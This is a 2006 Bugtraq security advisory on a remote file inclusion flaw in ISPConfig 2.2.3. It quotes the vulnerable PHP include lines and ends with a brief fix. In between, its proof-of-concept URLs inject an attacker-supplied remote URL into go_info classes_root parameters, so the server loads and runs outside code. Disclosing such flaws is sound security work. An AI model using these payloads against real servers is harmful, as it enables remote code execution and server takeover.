bugtraq - [FSA016] ISPConfig 2.2.3, File inclusion vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 14 Jun 2006 19:07:36 +0200
From: Federico Fazzi <federico@...istici.org>
To: bugtraq@...urityfocus.com
Subject: [FSA016] ISPConfig 2.2.3, File inclusion vulnerability

-----------------------------------------------------
Advisory id: FSA:016

Author:    Federico Fazzi
Date:	   14/06/2006, 18:57
Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability
Type:	   high
Product:   http://www.ispconfig.org/
Patch:	   unavailable
-----------------------------------------------------

1) Description:

Error occured in server.inc.php, line 35:

include_once($go_info["isp"]["classes_root"] .
$go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php");

Error occured in app.inc.php, line 48 - 49:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

Error occured in login.php, line 30 - 31:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

Error occured in trylogin.php, line 32 - 33:

$dbclass = $go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";
include_once($dbclass);

2) Proof of concept:

http://example/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go_info[isp][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/login.php?go_info[server][classes_root]=[cmd_url]/
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.php?go_info[server][classes_root]=[cmd_url]/
(note this is with final slash (/))

3) Solution:

declare all variables or global.